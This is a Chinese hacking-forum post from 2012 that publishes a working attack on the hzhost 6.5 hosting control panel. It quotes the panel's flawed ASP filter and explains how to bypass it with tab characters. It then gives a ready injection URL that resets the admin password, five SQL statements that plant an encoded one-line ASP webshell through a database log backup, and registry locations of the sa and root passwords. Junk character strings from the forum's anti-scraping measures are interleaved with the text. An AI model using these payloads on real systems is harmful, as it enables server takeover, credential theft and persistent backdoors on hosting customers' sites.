中国网络渗透测试联盟
标题:
再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
[打印本页]
作者:
admin
时间:
2012-9-5 15:03
标题:
再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
t, v6 h, M0 \, f( C) l
只讲两个要点。
* h; a$ [ D: O0 k+ n
第一,如何拿网站管理员权限。
3 k b+ r, c8 R( i ~7 m
第二,如何备份木马。
+ P, I8 M' n# I, T. P* s2 ^* v' A
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
8 q8 z# y+ t( ^+ h+ E6 g* J, K
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
, r5 s; [' L4 z1 h! f5 d
httP://www.xxbing.com
QQ178737315
& Z& [5 `4 v9 y* |" e3 H8 Q+ ?$ {
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
, D3 K: f5 i( [/ d
------------开放浏览-------------
5 i4 R- `4 f/ C& U3 X% H. G
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
4 q8 B& j& I; ~) S0 }" R; @. _
-------------------------13-15行----------------------------
! x. n2 [% L& q7 j: P: r
querytype=SafeRequest("querytype") //saferequest函数接受数据
0 o+ E3 _' L& U& T
if chk_int(querytype)=false then //检查是否是整数
5 s9 G/ @$ b2 `3 R! E L
ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
+ q6 A& a! k) I( b2 a
-------------------------37-42行---------------------------
* A9 I' l8 y( Q* q6 d I; [
elseif querytype=5 then //如果类型为5。就接受qu1数据!
3 ^! J. G; i, O6 ~) J) |0 x" @- t
qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据,他自己定义的saferequest函数!
/ c2 B( G8 d3 Z; I2 x1 h* |4 y
- ? T' J4 n1 i; j- p4 H; x2 P
if qu1="" then //不能为空
) d5 k3 r$ h c6 J$ |( ?# w. {& `9 J
call errorpage(-2,"对不起,请选择参数!")
( S; c. N' v5 o2 h7 f
end if
+ y) V! F& m0 @: m6 o) V ?
qstring=" and s_regstt="&qu1&" " //这里是关键 qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
8 Y0 h' T, Y4 b4 r% b1 ^! A
-------------------------62-65行---------------------------
- D6 G3 o& {6 d9 H% C
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
9 [/ J; X- k) k% z
if qu7<>"" then
9 l) T0 f7 ]% K' O9 D& { u% V& }! a" n
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。 这里被包围了,所以这里成了死点!!
2 j0 ]! m' J# Y( d1 a' t: a7 @3 c" d
end if
9 a4 w2 W' r2 \
--------------------------117行-----------------------------
4 R7 O- A& Y) U
query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%') "&qstring&qstring2&" order by "&orderstring
4 a* [3 G: m$ S) \
//到这里就丢进去查询了!
6 r, r) d, ~( P7 g1 S
1 A0 J/ J7 Q& t: _* ` X1 B; o" |1 Y
来看看saferequest()函数。
, {, U+ g/ T4 f* j
------------------incs/config.asp中-------------------------
. K8 }) e8 b5 G: T& q3 l# W- n/ Y
Function SafeRequest(ParaName)
% c" a0 k9 X# j; I
Dim ParaValue
. C9 B& S0 S# B" Q# X
ParaValue=Request(ParaName) //获取数据
* n0 p5 s% S) h I) G
if IsNumeric(ParaValue) then //如果是数字
6 o# A4 [% W7 ^0 w( C
SafeRequest=ParaValue //那就不过滤,直接赋值
( y$ [3 I( u5 n1 ]0 Z G2 A8 x
exit Function
( O2 a! ~7 [8 N$ c# b( u
9 z1 {: p2 z/ `) G+ d' A
else
2 N( l1 A$ m0 e# l( h2 {
ParaValuetemp=lcase(ParaValue) //如果不是数字,先把接到的数据全部转为小写
' i. o& F$ U: ~( n
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
7 d# f5 p, C q
//定义要过滤的字符!
' g$ H! M& @: f! i2 q1 B2 ]5 m2 J E/ q
! N2 M9 }# t+ f# `- z! c1 D( J6 M. ~* V
他过滤方式有问题。。。没有过滤 * / % / -- / ;
3 Y& E6 y2 ]: N5 m
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
. A0 f+ E# u2 P, [1 c( d. O/ `# ]
: K1 u% k4 d O6 M1 @# U! j3 h
temps=split(tempvalue,"|") //转为一维数组
' ?3 ~. ]# q# l
for mycount=0 to ubound(temps) //循环读数组内数据
% {! ^' f. \; l5 S. |. o# i: S4 C. [
if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。
3 A, x# T6 a! Q, p% m) H
call errorpage(-2,"非法请求!!!") //如果有则弹出提示!!
B$ K8 m1 b8 h
response.end
, K- L: I/ R X, @/ \- z
end if
1 r3 L& m2 g+ C. d' H5 M
next
8 i' s: t8 q" p1 p
SafeRequest=ParaValue
* K+ E. O( h! W$ X
end if
% Q- M. G+ S$ V& H' b
End function
2 H3 e* p$ T; P3 o; p& A1 h! z1 U3 l
-------------------------------------
0 g# e, K% U/ F a( _
Z1 \( ], d- c9 v
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
& H. ]7 K4 S' g ]& e4 u# V: e( h
先给出查询语句的框架。
# t y, K' |) o# Q7 Q9 x
select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
$ o: a a* D# K+ C7 x
" ?1 l6 L: F1 I, j* G
为了使语句顺利执行:
) ^5 p: n1 n9 }% p2 q
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
( c; s: A% X3 F0 M6 G9 r2 o& B0 W1 j
这里我给出条示范语句,即{我们的语句}
/ v7 S, \) V7 I- K2 B) _
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
& n7 I3 D' O4 I- w/ f
7 n e# V7 {% k- z% N
这条语句能够绕过saferequest函数的检测。没有出现单引号。
6 C8 T8 M! s' F8 I
我们提交:
$ r: n" ?3 Q; v2 a, r7 h
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09
[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
- ]1 a/ G1 T( P- j5 U/ L' _$ I
0 H1 ?/ `6 W, G! n# s
这句话就能够将admin的密码修改成123456
) a+ _! H ?: m* v( @8 `/ I
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
5 \% e; x& k* U; o f* N3 M
第二步是要备份挂马。
" ^# L( R5 ~% d8 g1 Y, X; b1 ^* y
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
: _3 A8 t+ x) E8 f7 _
导致备马的这条语句失败。
0 b& }7 T$ ^9 f) \
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
0 v" E+ Q- z" K( U
6 n. x- E# q r* i2 A6 ^; Q5 e2 i
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
- T$ c) J/ W, l5 m& n; X- Y' C
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
3 ]$ E K6 f) J+ C: `
接下来放出详细语句。大家放入{我们的语句中}
8 o4 l1 {# H2 h
第 一 步:
0 j; H3 z: k- L+ o
create table [dbo].[shit_tmp] ([cmd] [image])--
9 l4 M* I% w K) [0 r; u2 R: T( e
第 二 步
) s1 }, ]' m0 Q- z
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
/ V! c7 v8 D* u" n" ~
第 三 步
6 l4 Z$ I" T9 s# ]
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
; Q* X& S/ N. O! g
第 四 步
! k: X+ K7 Q/ `4 P9 U
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
u1 A. H/ h L+ p) O& M4 `$ |
第 五 步
' f% [, P1 _9 v7 @8 ~& Z+ G- C1 a
Drop table [shit_tmp]--
( ^+ Y8 A( |& @; v4 c- c
" V4 j$ v; I v) p
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
- R6 m8 u: g# [# {# G4 m) U
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
5 P1 j6 G, j* z6 @- k
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
/ O+ `. G6 I) \) V6 G
. Q* w! N0 _$ C0 E1 ?3 j1 b5 H
最后是答疑部分:
" K, S+ b2 y* }: _
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
8 y% r' }, ?% D
. ~' g% |6 T& H( G+ t2 {' G: r3 L' g
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
7 F) D" \' ]: m$ l) m5 S2 I5 Z: u e
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
x+ F" h/ B: d! R1 \
0x6531306164633339343962613539616262653536653035376632306638383365
, s9 c) {: c# I) d
大家仔细观察,会发现,其实只是去掉了一些00。。
9 {2 z6 v& J8 t5 m2 U4 L5 o6 M; T
所以大家在转换其他md5的时候,注意此问题。
3 J( r0 n( J4 |9 ^' Z
6 P2 E3 `+ H, N9 ?# e9 G* m" y% a
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
- E: Z. q& X1 G9 Q7 l' Z) w* }' D5 \
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
* [4 Z$ n6 v2 m* r3 | f0 ?, r% `1 T
% U) v, d5 J8 B) h! v
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
1 E9 N5 f% k7 ^6 y6 x" _
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
5 n2 j2 T' Q: r5 S. K( t# }0 ?
; ?( @0 O* S8 E4 k+ r: e* d$ p$ ^2 \1 b
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
0 \3 y+ }$ ~ ]
( E' U9 b$ C$ e0 m! A
6::
8 ?* W/ z6 r# d0 B
sa密码。root密码。
* ^! m- k" B" B4 r! W
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
! o" H8 a: i! Q; f8 q
mysqlpass---root密码
$ G+ x# I) i2 Y
mssqlpss----sa密码
" E% E" D% U0 g
9 i1 }+ a' ^/ }) d
8 M8 `7 v$ j+ a- M. Q1 j6 ~
7.如果路径不在D:/hzhost
. u2 f$ ]: \5 L$ j3 b0 L
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
: [$ x% P6 R1 A4 x0 ^7 m' c
或者去读注册表。
# G' t# ?6 R: x2 f& ~/ i; }: L
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
+ k- z+ `4 f: m! u8 {2 D
"wwwrootpath"="e:\\wwwroot"
* r% k, N6 [- @! P: v: \
"urlsiteroot"="D:\\hzhost\\hzhost_url"
, I0 p" q) a. [& R# d4 Q) `0 i
"ftprootpath"="e:\\ftproot" 可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
6 ?) U3 a9 d2 [
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
: N& \/ x8 K" N) u
7 y2 Y) l- V7 p( {8 S/ s8 h [- a5 H
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
% o5 }. R, h3 a
hzhost最新漏洞.rar
3 o; o* b4 H! Q8 j$ I
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
) F7 C: |/ M1 c: _' b) X
; c. X/ O6 ^! S
最后,还是版权。
" T1 e% y6 | l8 d# D; w. f& D
http://www.xxbing.com
QQ178737315
- m* y$ R, w: c7 {6 j
允许自由转载。但请注明作者。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2